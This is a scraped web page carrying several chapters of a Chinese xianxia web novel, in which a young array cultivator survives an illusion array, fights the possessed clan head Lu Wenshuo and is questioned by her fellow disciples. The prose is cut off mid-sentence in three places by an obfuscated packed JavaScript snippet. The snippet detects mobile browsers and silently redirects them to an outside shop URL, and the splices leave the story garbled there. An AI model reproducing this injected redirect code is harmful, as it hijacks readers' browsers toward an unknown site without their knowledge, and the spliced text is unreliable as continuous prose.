她不记得自己曾经来过这里,看来这应是阵法给她造的幻象。梁惜因一刻都不敢松懈,虽说这里没有了张牙舞爪的百鬼,但幻象有时却比妖鬼更为可怕。它能摧毁一个人的心智,令其沉溺于此,永远都走不出去。 举目皆荒凉,别说是人烟了,连草木都极为稀少,融化的落日在大地上流淌出了一片交织着的金与红,给这荒野平添了几分苍凉。除了那几丛被风吹得东倒西歪的杂草,眼前唯有一个小小的身影在动。梁惜因心生警戒,可在定睛望去之后,她却蓦地失去了全部思绪。 哪怕那孩子的脸上满是污迹,衣服破旧不堪,她仍旧一眼便将他认了出来—— 是重霄,而且是孩童身形的重霄。 她想喊他一声,却忽察自己的身体不受控制了。身体中好似住进了另一个灵魂,她什么也做不了,只能像一个旁观者一样,听着自己问面前的小人道:“你可愿随我回去?” 这声音与她的一模一样,但细听之下却又多了一丝沉稳与淡然。 重霄将自己蜷作一团,周身黑雾翻涌。他破烂的衣服上满是血迹与泥沙,露出来的皮肤上是大大小小的的伤痕。他像是没听到一般,半晌才抬起头看向梁惜因。 他那双黑白分明的眼里此刻布满了红血丝,眼神更是梁惜因从未见过的狠厉,直让她的心疼变成了心惊。 而她这具身体仿若毫无所察,很是耐心的又蹲下来问了一遍:“你可愿随我回去?回玄晖宗,那里不会有人欺负你,衣食饱暖皆不用担心,还有许多和善的人,你大可把那里当作自己的家。我会教你阵法,助你修行,让你有保护自己的能力。到那时,你自可再回人间来。” 梁惜因注意到,再说到“家”这个字时起,重霄的眼神就有些变了,变得迷茫起来,似乎不是很能理解她说的话。她把手伸至他面前,静静地等着他的答复。 不知过了有多久,天边的金乌彻底沉入大地,梁惜因手都快酸得失去知觉了,重霄才终于将他那脏兮兮的小手放入了她的掌心,哑声说:“好。” 两手交握的那一刻,梁惜因面前的画面变了。在场景变化的瞬息,她仍在飞速思考着。这百鬼夜行阵为何要给她安排这样的幻象?她着实想不明白用意为何。又或者...这些画面当真只是幻象吗? 荒野消失后,梁惜因发觉自己处于一间极为宽阔的室内,像极了玄晖宗的主殿。她眼前骤然出现了很多人,她努力地想看清他们的面容,可这不过是徒劳而已。除了不断开合着的嘴,他们的面容皆是模糊一片,犹如笼了一层云雾,怪异非常。但不知为何,梁惜因能清楚地感受到他们的视线全都落在了自己身上。 她这具身体的心跳很快,说话的语速也极快:“重霄是我的弟子,断不会做出这种事来,我愿为他担保。还请诸位明察!” “是我杀的。”身后忽然传来一道极为熟悉的声音,仿佛一盆冷水兜头而下,梁惜因全身的血液都凉透了。她缓慢转过头去,用嘴型无声问他:“阿霄?” 少年身形的重霄跪在地上,眼下的两枚红痣血泪一般。除了梁惜因,周围所有人都离他很远,他就这么孤零零地跪着,面容无悲无喜,只是平静地重复道:“郭掌门和郭循,是我杀的。” 他没有看梁惜因,梁惜因却觉一颗心都缩紧了。她蓦地生出一种冲动,想要带着重霄走出去,走得远远的,直到再也看不到这群人为此。可事实却是她的双腿似有千斤重,动弹不得,只能立于原地。 周遭的人群在一瞬间喧哗起来:“魔族就是魔族,天性难改!小小年纪,竟如此心狠手辣!” “早就该在当初他杀死关师兄,重伤纪师兄时将他赶出宗门!” “万万不能将这个祸害留下,郭掌门修为那么高都能被他杀死,谁知道他以后还会做出什么事来?” “杀人偿命!今日必须给惨死的郭掌门父子一个交代!” “对!杀人偿命!” 众人齐声高呼着“杀人偿命”,这刺耳的声音潮水般一阵阵地向梁惜因扑来,直扑得她身形摇晃,连站都要站不稳了。一道身影从旁边过来扶住她,担忧地喊着她的名字:“阿因。” “哥,我没事。”她强撑着说。 这时最前方的一道男声无比清晰地传入了她耳中,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黑暗散尽,两人重新回到了密室中。梁惜因拧紧双眉,只觉有无数根针在她脑海中搅动。重霄半扶着她,身上除了阵中妖鬼的血迹,还缠绕着几分未退的凛冽杀意。他五指蜷缩着,视线落在别处,嗓音中带着几丝不易察觉到的颤抖:“姐姐方才在阵中...看到什么了?” 梁惜因被迫入阵后,他毫不犹豫地跟在她身后踏进了阵中。百鬼夜行阵,这道历来被定性为极凶的阵法在他眼中却不值一提。阵中的妖鬼没有意识,只知一味地攻击入阵之人。 无妨,来一波,他就杀一波。 丝丝缕缕的怨气自他掌中而出,与阵中的黑暗几要融为一体,绞在了这些妖鬼的致命处。痛苦被定格在面上,妖鬼无声地惨叫着,被撕得稀碎的身体重又陷进了无边的暗色中,再无踪迹。 鲜血溅在重霄的衣袍上,而他浑不在意,满心满眼想的俱是梁惜因。一时就连时间好似都被黑暗吞噬了,他仿佛奔走了很久很久,才终于找到了梁惜因。 梁惜因并未注意到重霄的异常。她费力回想着在阵中看到的一切,但那些画面就如蒙了一层雾,看着近在眼前,却怎么都捉摸不到。就好像...有什么东西在阻止她一样。 两人彼此静默着,困在笼中的那些人也不敢发出声音,空气好似都凝结了。 梁惜因终是叹道:“不知道,我想不起来了。” 重霄似是松了口气,眼神重又移回她身上:“那便罢了,再想下去反倒费神。” “嗯...”梁惜因刚应声,下一刻瞳孔骤然放大,抱着重霄向一旁倒去,“小心!” 一张符纸擦着两人的身子飞过,直接穿透了牢笼的铁柱,钉在了里头的墙上。笼中众人惊叫连连,梁书芸怀中的小女孩更是连头都不敢抬一下。 重霄晃了晃,及时稳住了身形。方才若不是梁惜因反应快,这符纸就要打在他身上了。 “真是好一出患难见真情。”一道刻薄的声音传来,随之响起的还有两下掌声。 两人迅速望向密室门口,就见陆闻朔一身玉色衣袍,笑容满面地走了进来,缓慢说道:“能破掉我的百鬼夜行阵,二位有点实力,但也到此为止了。”说到最后一句话,他语气陡然加重,狞笑着甩了数十张符过来。 阵法被破,他定也感知到了,所以特意赶回陆府,想来一出瓮中捉鳖。 梁惜因方才就已将阵盘拿出,此时反手布下一道金光护体阵。符纸受护罩所挡,斜飞着插进了密室的角落。 只是这护罩本就没来得及完全成形,这一下受的冲击又太大,最开始只是出现了一道裂纹,紧接着裂纹迅速扩大,蛛网般布满了整个护罩。护罩又顽强地撑了片刻,最终还是碎了。金色的碎片纷纷扬扬,在触及地面之时瞬间消散不见。 梁惜因一手按在心口,向后退了几步,这一下对她造成的冲击也不小... 看来她先时所料不错,陆闻朔的修为,已然精进到了一个谁也不知道的境界。 37. 身灭 陆闻朔眸中透出轻蔑,反手又甩出几张符来,讥道:“两个初出茅庐的阵修,也敢闯到这来,不知天高地厚!” 重霄和梁惜因闪身躲避着,有几张毫无章法的符纸把牢笼的铁柱都削去了几截,吓得里头的人尖叫着抱头蹲下。 梁惜因回头看了一眼,对重霄说:“出去打。” 重霄点头应声:“好。” 陆闻朔自是也听到了,目露凶光道:“出去?想得美!”然而下一瞬他就笑不出来了。几道绞如铁索的怨气以极快的速度向他袭来,裹挟着凛冽的死意和厉鬼的哭嚎。 陆闻朔瞳孔骤缩,慌忙掏出符来抵挡,可是已经晚了。触手般的怨气将他撞翻在墙边,他挣扎着坐起身子,捂着心口吐出一口血来。 满室汹涌如潮的黑雾间,他看见重霄衣摆染血,脸色苍白如纸,眉间的印记与两枚眼下痣是如出一辙的殷红色。源源不断的怨气自他掌中而出,他一步步向陆闻朔走来,眼睑半垂着,墨色的双瞳中是一片无波无澜的黑,不含丝毫情绪。 陆闻朔向后缩着,可身后已是墙壁,退无可退。他瞪大的双眼中满是不可置信,喃喃道:“魔尊...重霄。” 又是一道怨气挟着万均力道向他扫来,重伤的陆闻朔浑身骤然爆发出一股力气,慌不择路地往门外逃去。重霄和梁惜因对视一眼,紧随其后追了出去。眼见密道越发狭窄,而身后的怨气却穷追不舍,陆闻朔干脆用几张符纸把路炸开,连入口上方的床都被他劈成了两半。 他飞身掠出窗外,还欲再往院外逃,却被一道无形的屏障给挡了回来。“困缚阵...”他啧了一声。 “不错,就是困缚阵。想跑?没那么容易!”燕明昭跃上墙头,同时翻上来的除了客栈中四人,还多了杜昱和叶天舟。 陆闻朔刚对梁惜因两人说的话又被毫不知情的燕明昭换了种方式还回来,脸色顿时差得要死,险些把一口牙给咬碎。 偏偏这时梁惜因还在一旁道:“怎么,就许你提前布阵,不许别人布了?” 重霄则在燕明昭声音响起时就隐蔽了身形,不然很难解释为何他这个灵力低微、没入过宗门的野生阵修会出现在此处。且就算理由再充分,也难免会引起些不必要的怀疑。 陆闻朔闻言竟没有发怒,反倒低低地笑了起来,越笑声音越大,眸中闪烁着隐隐的红光。 江映和起了一身的鸡皮疙瘩:“这陆家主...别不是疯了吧。” 众人很快就无暇顾及他了。因为就在下一刻,从方才起一直毫无动静的陆府众人全都中屋中走了出来。惨白的月色下,他们的步调出奇的一致,脸上一丝表情也无,空洞的双眼中闪着与陆闻朔同样的红光。 杜昱睁大眼睛,不由自主感慨道:“我的个亲娘诶...” 不过转眼功夫,陆闻朔就被陆府众人围在了中间。他唇角勾起一抹弧度,极轻地说了句:“杀了他们。” 陆府众人得到指令,立时手持武器向他们袭来。几人无不大惊,迅速分散开来。谢淳一手驱动着阵盘,一手捏着符纸,在应敌的间隙对他们喊道:“这些人已经不是活人了!陆闻朔,不,冥龟子刚刚把他们全都杀了,他们现在只是被操纵的行尸走肉!” 叶天舟挥着手中的长剑,手忙脚乱地挡着面前三个持剑侍卫的进攻,连连后退着道:“真的假的啊谢仙友,我是真下不了手啊!” 杜昱一剑贯穿手中持刀的陆府下人,快速说道:“叶兄!你要这样想,我们这么做是帮他们解脱。” 柳甫畅自得了千玄玉后修为提高不少,此刻同燕明昭在这些人前进的路上一连布下好几个攻击型迷阵,燕明昭接道:“况且他们不死,死的就是我们!” 江映和转眼就甩了十几张符纸出去,他是专门的符修,所使的符不仅种类多,威力也更大,好几个陆府家丁连惨叫都没来得及发出就倒在了地上,一滩滩鲜血汇聚成溪流,映着天上那轮皎白的弯月。他余光瞥见陆闻朔正往陆府中心而去,立马对在场的几名阵修喊道:“不好!他是不是要去破阵?!” 谢淳忙道:“拦住他!” 几人一时全都奔向陆闻朔。陆闻朔自然不会察觉不到,他冷笑一声,下一瞬,陆府众人全都更凶狠地向他们发动进攻,发了狂般的拼命拦住他们的脚步。 祝轻云身着寝衣,墨发披散,纤纤十指按着一支玉笛,朝着离她最近的梁惜因而来。她依旧很美,只是美得毫无生机,像一朵已然凋零枯萎的花。花香犹存,可无尘的花瓣已被碾落成泥。 笛声悠扬,在空中化作阵阵音波击向梁惜因。梁惜因脚尖轻点,飞速闪躲着,身上穿着的宗服被划破,一小片白布打着旋地飘落在地。 祝轻云还欲再吹,梁惜因眼疾手快地将身上最后一张符向她打去,正好将那玉笛击成两段,祝轻云也随着力道跌倒在地。 祝轻云修为不高,失了玉笛后几乎毫无还手之力。梁惜因看着她木然的神情,从地上拾起一把不知是谁掉落的长剑。她深吸一口气,阖了阖眸。杜昱说得对,这么做是在帮他们解脱。 与此同时,陆府人多势众、攻势凶猛。另几人很快就有些力不从心起来,身上的一道道血痕在白衣上格外醒目。杜昱正同时应付着两个持剑侍卫,一个家丁趁他不备,拿起木棍就要往他脑后砸。 千钧一发之际,一片极不显眼的刀刃自半空中旋转着飞向那人的咽喉,一击毙命。杜昱猛然回头,就见那刀刃又飞旋回了谢淳手中巴掌大的圆盘中,他扬眉,又是震惊又是佩服地道:“回魄盘?!帅啊谢师兄!” 谢淳抿唇笑了笑:“秘境后第一次用,还好带来了,容我再研究研究。”说着,他又按向上面的一道机关,这次足有数十片刀刃从中飞出,以极快的速度划破了空气,留下一声声裂帛之音和一道道银白色的残影。 站在他身旁的叶天舟连忙避让,可这刀刃就如长了眼睛般,主动绕开了他,转而飞向他面前的陆府下人。 数十道刀刃,每一道都精准地袭向一个陆府之人,且无不是一击毙命。眨眼间数十人倒地,这些刀刃在空中甩尽了沾染上的血液,重又回到了圆盘之中。 这一切发生得太快,包括陆府众人在内的所有人都怔住了,就连谢淳也有些呆。一派鸦雀无声当中,柳甫畅双眼放光地喊道:“还得是我们大师兄啊!” “师弟谬赞了。”谢淳擦了擦额角的汗。局势骤然翻转,叶天舟和杜昱一人一剑,将最后两个陆府人也给放倒了。 满地横七竖八的尸体中,燕明昭猝然出声:“不好,阵破了,他要逃!” “再会了。”陆闻朔翻上院墙,回头对他们露出一个不屑的笑容。然而他不知看到了什么,下一秒神情骤变,转身向梁惜因处奔去。他的速度快到难以想象,所有人都没反应过来,燕明昭也只来得及喊了一声:“师妹!当心!” 梁惜因手中的长剑正要向祝轻云刺去,却猛然被一道玉色身影挡住了。长剑来不及收回,自陆闻朔的胸口贯穿而下。鲜血顺着剑身流淌着,一滴一滴,全都落在了祝轻云身上。 陆闻朔半跪在地,颤抖的手轻抚着祝轻云的面颊。鲜血不断自口中呕出,他用尽了全身的力气,才从嗓子里挤出两个字来,“轻...云...”沙哑而破碎的声音中,带着无限的眷恋与不舍。 祝轻云漠然地看着这一切,双目空洞无神,面色毫无起伏,宛如在看一个完全不相关的陌生人。 梁惜因在盛会前从未见过陆闻朔,但在这一刻她无比确信,这一剑刺中的,才是真正的陆闻朔。 天地仿佛都在这一刻静止了,梁惜因双手微微颤抖,拔出了陆闻朔身上的剑。银白的剑身沾满了滚烫的鲜血,在无言的月光下折射出浅淡的微光。 陆闻朔的身子晃了晃,随后再也控制不住地倒在了祝轻云身上,缓慢而珍重地抱紧了已然死去的发妻。他的双眸涣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482708|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散着,方才那股惊人的光彩逐渐湮灭,最后终于阖上了双眼。自伤口涌出的血液一直流淌到地面上,汇聚成一小滩刺目的红。 梁惜因注意到,陆闻朔面上是带着笑的,显出一分不合时宜的安详与宁静。 江映和讷讷开口:“他...死了?” 不止是他,所有人都有些不敢相信自己的眼睛。结果下一刻,他们就见陆闻朔的尸体古怪地扭动起来,自皮肉上出现一个个蠕动着的凸起,就如有什么东西在里面游走一般。 不妙的预感向心头袭来,梁惜因不暇细思,飞速后撤,与其他人站到了一起。 空气中传来血肉被刺破的声音,一只巨大的虫足从陆闻朔后背中探了出来,紧接着是第二只、第三只...荒诞而诡异。随着六只虫足全部伸出来,它的全貌也得以展现在几人面前。 那是一只硕大无比、通体漆黑的瓢虫,触角下的两只眼睛闪着诡秘的红光。而陆闻朔的身体此时已被撕裂的如同一只破烂口袋,梁惜因简直想像不出他的躯体是如何容纳下这种东西的。 谢淳目不转睛地盯着黑瓢虫,眼中并无意外,呢喃道:“冥龟子...” 在看清这张巨大的虫脸后,柳甫畅两眼一翻就要往后倒,离他最近的叶天舟刚要伸手扶他,结果燕明昭比他动作更快,把人扶好后皱眉道:“怎么办,这家伙最怕虫了。” 还没来得及把手收回来的叶天舟:“......” 杜昱默默把人拉远了点,半是同情半是嘲笑地拍了拍他的肩。 不知是感到被他们忽视了还是因为陆闻朔在最后关头的觉醒,梁惜因出奇的在一张虫脸上看出了愤怒的神色。 “留神。”谢淳凝眸低声道。 冥龟子怒吼一声,几人当即摆出应敌的姿态来。还未等它有下一步动作,一把从天而降的巨剑就将它由上而下地贯穿,并狠狠地钉到了地里,连周遭的陆府宅子都被震塌了些许。 冥龟子六只腿胡乱地划了几下,便再无动静。从震惊中回过神来后,梁惜因抬头看去,就见白元绪站在远处屋檐的一角上。她看不清他的神情,只能看到他那翻飞的衣袂。黑色的血流了满地,巨剑从冥龟子身上抽离,在飞回到他手中时又化为了正常剑的大小。 除了他,还有不少玄晖宗和苍梧宗的前辈也赶了过来,或御剑,或踏符。 陆府内灵气流转,显出一道缩地阵来,殷照从阵中走出,直奔梁惜因几人:“没事吧你们?小柳怎么了?” 燕明昭答道:“额...吓晕过去了。” 殷照将四人前前后后的仔细检查了一遍,确认他们当真只是受了些轻伤才放下心来,拍着心口说:“呼,还好还好,你们差点没吓死为师。” 梁惜因动了动鼻子,问道:“师尊又喝酒了?” “我还没管你们,你们倒是管起为师来了。”殷照板着脸说。 梁惜因半垂着头:“弟子知错了。” 殷照很是无奈地道:“此次多亏了玄仪子前辈,你们回去后可要好好感谢他一番。” 几人对视一眼,谢淳问道:“玄仪子前辈?” “不错。”殷照今晚本是在城北的一家酒楼中赏月喝酒,这皇城来都来了,自是要好好痛饮一番,才算不虚此行。正喝到兴头时,他就见窗户处飘上来一个小孩,笑吟吟地对他说:“殷峰主,你那四个徒弟出事了。” 殷照揉了揉眼睛,还以为自己喝多出现幻觉了,可他转念一想,自己的酒量也没有这么差啊。再定睛一看,这不是玄仪子前辈吗! 玄仪子还在继续说着:“城东陆府。殷峰主快去吧。” 他的徒弟为什么会在陆府出事??殷照一身的酒意全被吓没了,忙起身道:“是,多谢前辈。” 思及此,殷照扫了一眼赶来陆府的人,也不知这些人是受了玄仪子的通知还是察觉到异状后自行赶来的,他一个阵修来得倒算迟的了。 38. 会审 被训话的显然不止梁惜因四人。不远处,沈逍甩袖斥责江映和道:“胡闹!” 江映和根本不敢抬头,讷讷道:“弟子知错了。” “错在何处?”沈逍反问他。 江映和:“??”隔壁天璇峰可没多这一环节啊。 他硬着头皮说:“错在...太过莽撞,就这么毫无准备地闯到陆府来。” “你错在没有提前将此事告知师门。” “啊?”江映和有些愣。 沈逍轻叹一声,面部表情也柔和起来:“做得不错,但别忘了你们是玄晖宗的弟子。” 江映和怔了片刻,随后激动得双颊通红:“是,弟子多谢师尊夸奖!” 而杜昱和叶天舟这边就远没那么和谐了,两人的师尊各自提着剑追人,连喊出的话都惊人的一致:“臭小子,胆肥了是吧!” “这么能干,要不你来当这个师尊?!” 杜昱和叶天舟抱头鼠窜:“弟子知错!师尊饶命!” 梁惜因:“......”果然是剑修啊。 更多的人则围在冥龟子巨大的尸体旁:“冥龟子不是自大战后就绝迹了吗?陆家主体内怎会有?” “你忘了吗,漆吴山的封印此前不知被何人破开了,现在出现什么东西都有可能。” “可怜陆家主一世英名,最后却落得这么个下场。” “别说陆家主,这陆府众人又何其无辜...” 白元绪收了剑缓步走来,眼中哀痛不已,对众人抱拳道:“诸位,白某少时流落,幸得陆家主举荐,才得入苍梧宗修炼。陆家主于白某有再造之恩,若无陆家主,就无今日的白某。” “可谁知天意难测,那魔族凶狠狡诈,竟用此等下作手段杀害陆府满门!”白元绪的声音有些哽咽,“白某悲切之余,恳请诸位与我一同严查此事,讨伐魔族!此仇不报,白某实难心安!” 不少人的情绪都被他调动起来,齐声高呼:“没错,讨伐魔族!讨伐魔族!” 殷照和沈逍不语,沉着眸不知在思索些什么。 梁惜因始终记着陆闻朔是在见过白元绪后开始变的,她心中一直对此抱有怀疑,可眼下白元绪的神情又让她挑不出丝毫破绽,他眸中的痛楚太过深切,实在不像是装出来的。 只是他这番话却说得梁惜因眉头轻蹙。他何以这般肯定此事就一定是魔族干的?虽说关心则乱,但白元绪身为掌门,实是不应就这么轻易妄下定论。他这么说,反倒像是在刻意挑起众人对魔族的仇恨... 正思忖着,梁惜因余光看见燕明昭和贺千遮站在一起。她心下一紧,也迈步走了过去。玉衡峰送毒药的事她可还没忘。 刚走到燕明昭身边,梁惜因就听她对贺千遮道:“贺峰主,陆夫人她...”冥龟子死后,被它操纵的祝轻云等人自是也没了动静,彻底成了一具具尸体。她身上的陆闻朔已被撕裂得看不出人形了,可他抱着她的那双手却没有松动丝毫。 “没救了,在受冥龟子操纵的那一刻起,她就已经死了。”贺千遮的声音很轻,他看着两人相拥的尸体,面上透着悲色。 “你们伤得可重?可要我为你们疗伤?”他很快收敛起神色,淡笑着问两人。 “一些小伤而已,回去涂些药就行,便不劳烦贺峰主了。”梁惜因婉言拒绝,行了一礼后就拉着燕明昭走了。 燕明昭还在向她感慨道:“贺峰主真是医者仁心啊。” 梁惜因:“......”是她太阴暗了吗,为什么她总觉着贺千遮没安好心。 她记着殷照的嘱托,没轻易将下毒一事说出口,只是让燕明昭日后对玉衡峰留个心眼。 燕明昭不以为然地说:“师妹你多心了,都是一个宗的,人贺峰主还能有什么别的心思不成?” 梁惜因不语。若是没有自然最好,若是有...他贺千遮就是整个宗门的叛徒。 正事不能忘,梁惜因当下就去和殷照反映了失踪一事。殷照脸色严肃起来,让他们先回去休息,他自己会与两宗的长辈们下去救人。梁惜因自是满口答应,密室里的那场景,她真的是一点都不想再看一遍了。 谢淳已布好了缩地阵,梁惜因踏入阵中。彼时天色将晓,金乌欲赤,新的一天已然到来。 梁惜因回到客栈中,先是迫不及待地洗了个澡,洗去在密室中沾染的血腥气,随后躺回床上休息。她虽没受什么伤,但先时在秘境中损耗的身体还未完全恢复,不免深感疲惫。 她睡得并不安稳,总是控制不住地想起祝轻云,想起她说起陆闻朔时的怅惘,想起她将扇子送与自己时的盈盈笑意,最后想起她那张美丽而无神的面容。她到死都不知道真相,也不知道陆闻朔其实至死都爱着她。 他们二人,也不知还有没有再遇之日了。 等她醒来后,已是日中时分。她起身穿衣,燕明昭则坐在另一张床上,面无表情地盯着她。梁惜因如芒在背,弱弱问道:“师姐,怎么了吗?” 燕明昭抱着手臂,用下巴点了点桌上的饭菜:“给你带的,还热着,快吃。” “好,谢谢师姐,师姐可真用心。”不管了,先谄媚两句再说。 怎料燕明昭一丝反应都无,继续面无表情地盯着她,大有要保持这个姿势直到永远的架势。 梁惜因:“......”救命,到底是哪里出了问题?她确实只是睡了一觉吧?? 梁惜因埋头干饭,很快又向燕明昭报告道:“师姐,我吃完了。” 燕明昭点头,站起身对她说:“跟我来。”于是梁惜因惴惴不安地跟在她身后进了隔壁的房间。 甫一进门,她就见谢淳站在正对着房门的窗前,一张床上坐着江映和,杜昱和叶天舟三人,另一张上则是柳甫畅和刚把门关上走过去坐下的燕明昭。 梁惜因环顾了番,房间正中的椅子似乎是专门给她留的。她挪动着步子过去,一坐下就感觉到了不对劲,房内几人的视线全都落在了她身上,显得坐在中间的她格外弱小无助。 怎么这么像会审啊?? 梁惜因选择主动打破这吓人的沉默:“这是...伤者交流大会?” 没人应声,谢淳严肃问她:“小师妹,为何要单独行动?” 得,原来是秋后算账的批斗大会。 谢淳一开口,江映和也忍不住说:“是啊梁师妹,不是说好等一天再一起去的吗?” 柳甫畅附和道:“师妹,你可知你师姐...” 燕明昭:“咳。” “...你师姐还有我们有多担心你。” 众人:“.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14492081|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..” 梁惜因诚恳认错:“抱歉,是我太心急了,想着先去探查一番,让诸位忧心了。” 燕明昭神色松动下来:“算了,也不是不能理解。” 梁惜因立时笑道:“师姐真好。”并如愿以偿地看到燕明昭的耳根逐渐变红。 谢淳依旧沉着脸:“小师妹,以后若再有类似情况,务必要提前与我们商议好,万万不能再单独行动,否则风险太大。也不能因为此次平安无事就心存侥幸,毕竟谁又能保证以后次次都能全身而退?小师妹你要知道,一件事的变数是算不尽的,若是我们因没看到你留下的字条而没能及时赶到,或者失踪之人被冥龟子关到别处去了,那...” 他再这么说下去就要没完没了了,杜昱强忍住打哈欠的冲动,打断他说:“那个,谢师兄啊,我看梁师妹已经知道错了。” 梁惜因连连点头:“大师兄,我下次再也不敢了。” 谢淳揉了揉眉心:“也罢,说到底也是我这个做大师兄的没尽到责任。” “不不不,大师兄你千万别这样想,是我的问题,与大师兄一点关系都没有。”梁惜因连忙说。 燕明昭也宽慰他道:“师兄你已经做得很好了,何必妄自菲薄?” 谢淳默了片刻,终是露出一个笑来:“好,多谢二位师妹。” 梁惜因放心了,看来她这事是勉强揭过了,可以问一些别的问题了。“话说杜师兄昨夜是怎么来的?”她问道。 “哦,因为不知道实际情况如何,我怕我们几个会打不过,所以就随机抓了个剑修来。”江映和答道。 “那叶...” 梁惜因还没问完,杜昱就说:“我怕只有我一个剑修不够,所以又随机抓了一个来。” 梁惜因:“......”你们这“随机”的也太凑巧了吧!她倒是听闻自秘境试炼后,江映和一直与杜昱有往来,看来这二人的交情是当真不错。 “那师兄师姐你们是何时来的?”她也不知自己在那百鬼夜行阵中耗费了多久。 “在看到字条后就去了。”柳甫畅摇着扇子说。 梁惜因意外道:“咦?我不是说...” 柳甫畅继续道:“说若是你一个时辰后还没回来,我们再去陆府?可你师姐她等...” 燕明昭:“咳咳。” “...你师姐她还有我们等不及,便直接布阵去了陆府,按字条上说的在陆府外布下了困缚阵。” 梁惜因:“......”这两人,真是好熟悉的对话。 谢淳这时说:“我不久前还在与师尊商讨此事,陆闻朔修为高深,我们布的困缚阵本是困不住他的。宗内长辈在查看尸体时,发现他此前就已受了重伤,所以才会耗费那么长时间去阵眼处解阵。” 杜昱摸着下巴道:“还有这等事啊,他前几日不是还好好的吗,再说谁有那个能耐把他打成重伤?真有这个能耐的人也不会无缘无故去打他吧。” 谢淳沉声说:“此事我也还在思索,我总觉着这发生得有些过于巧合了。” 知道真相的梁惜因:“......”其实是重霄打的。 不能再让话题继续这么下去了,她打岔道:“先不论这些了,师尊他们会去查的。大师兄,不知那冥龟子究竟是何物?” 39. 感激 夏日里的风带着些微燥意,裹着一路上的喧嚣与繁华,轻手轻脚地从窗户造访了这处不算大的房间。 谢淳身后的长发被风吹动着,他沉吟片刻,说道:“我也是此前在书上看到的。” 冥龟子,魔兽的一种,但是极为特殊,是由普通瓢虫炼化而成的。炼化者需将瓢虫封进装满魔息的坛中,再以长芜草持续喂养一个多月,即可炼成。 初炼成的冥龟子极小,可以顺着人耳钻进人的体内,从而寄身在那人体中,蚕食他的意志,吞噬他的神魂,药石无医。一段时间后,冥龟子就会彻底占据他的身体,并全盘掌握他的修为与能力。 更为可怕的是,冥龟子变强后还能继续分裂出同类来,这些同类也可以钻进人的体中,只不过作用有限,只对修为不如他本人且不对他设防之人有效。 同类不会对它们所寄身之人产生任何影响,只有当冥龟子本体需要之时,才会在瞬间杀死寄身之人,使之成为供冥龟子驱使的傀儡。 “这些所谓的同类其实就相当于冥龟子的分身,要用它本体的修为维系,每分一个出来都对本体消耗不小。寄身在陆家主身上的那只已经算很强的了,能将整个陆府都掌控在自己手中。”谢淳道。 说是整个陆府,但总共也就二十几人而已。陆家这些年来子嗣稀薄,这一代也就仅有陆闻朔一人。陆闻朔和祝轻云没有孩子,陆府中除了他们二人便只有些下人和侍卫,是以昨晚他们几人才能勉力应付过来。 冥龟子在陆府密室中吸收了那么多魔兽的修为,实力不容小觑。若是陆府人再多些,它怕是也能控制得过来。 江映和轻嘶一声:“这世上还有这种东西啊,寄身什么的,光是听着就吓人。” 谢淳说:“没错,且不论是何种修为之人,它都能寄身。冥龟子起初体型很小,被寄身之人往往极难察觉到,而等察觉到之时就已晚了。” 燕明昭皱眉说:“这东西还是魔兽,谁也不知道它在获取了寄身之人的修为后能做出什么事来。” 谢淳点头道:“正是因为它太危险太难控,在仙魔大战后,各门各派都纷纷对此展开严查,一旦查到,立即毁之。同时立下法令,严紧炼化冥龟子。此前这两百多年来都未再听说过有冥龟子的踪迹。” 叶天舟两手撑在床板上,身体向后仰着,问道:“可这东西真的是说禁就能禁吗?修仙界这么多人,当真都如此听话?” 梁惜因也有此疑问。果然,谢淳道:“不,最主要的还是长芜草只生长在漆吴山中,而漆吴山被封了。” 众人:“......”难怪。 “那意思就是破阵之人从山中挖走了足够数量的长芜草来炼化冥龟子,然后去害了陆家主?”柳甫畅开合着手中折扇。 梁惜因摇头:“不一定,也有可能是其他修士在阵法出现裂缝时碰巧路过。但不论是破阵还是进山采长芜草,都需要极高的修为。” “对,且那人也不一定是要害陆家主。陆家主向来与人为善,为人淡泊,我实是想不出有什么要害他的理由。冥龟子的炼化又极易失败,那人完全可以将之用在旁人身上。”谢淳接道。 杜昱听得云里雾里:“等等,我怎么越听越糊涂了,这事有这么复杂吗?” 叶天舟拍了拍他,眼神中俱是“我懂你”,他也开始懵了。 江映和挠头说:“听说各门派已经开始着手调查此事了,应该很快就会有结果吧?” 燕明昭嗤道:“要是各门派单独调查那还好,联合调查?那没有个几年十几年能查出来就怪了!” “有理。”梁惜因表示赞同。说得太犀利了啊师姐! “那些失踪之人呢?冥龟子又为何要抓他们?”这也是梁惜因一直关心的。 谢淳说:“这我也问过师尊了。过几日便是七月半,彼时阴气大盛,若在当晚以三十个年轻男女的性命为祭,并辅之邪术‘生人祭’,则可功力大增。想来冥龟子就是为此而在城中抓人的,师尊他们也于密室一角发现了才开始绘制的祭祀阵法。” “生人祭,这个我知道。”柳甫畅“啪”的一声合上了扇子,“一种十分古老的邪术,整个祭祀的仪式极为复杂,稍有差错不仅是前功尽弃,主祭之人也会遭反噬,传到今日已是有些失传了。” 燕明昭看他一眼,接着说:“不仅如此,古往今来凡是用此法提升功力之人,个个都不得善终。久而久之就有传闻,说凡是施用此法者皆会被诅咒。” 